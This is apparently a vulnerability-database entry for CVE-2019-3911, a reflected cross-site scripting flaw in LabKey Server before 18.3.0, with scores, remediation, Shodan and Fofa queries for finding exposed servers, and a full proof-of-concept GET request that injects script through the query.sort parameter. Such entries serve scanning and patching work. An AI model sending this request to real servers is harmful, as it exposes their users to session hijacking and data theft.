| Title | LabKey Server Community Edition <18.3.0 - Cross-Site Scripting |
|---|---|
| Author | princechaddha |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade LabKey Server Community Edition to version 18.3.0 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01482 |
| CVE ID | CVE-2019-3911 |
| CWE ID | CWE-79 |
| Shodan Query | Server: Labkeyhttp.title:"sign in: /home"server: labkey |
| Fofa Query | title="sign in: /home" |
| Tags | cve cve2019 xss labkey tenable vuln |
LabKey Server Community Edition before 18.3.0-61806.763 contains a reflected cross-site scripting vulnerability via the onerror parameter in the /__r2/query endpoints, which allows an unauthenticated remote attacker to inject arbitrary JavaScript.
GET /__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-3911.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-3911.pcap
N/AN/A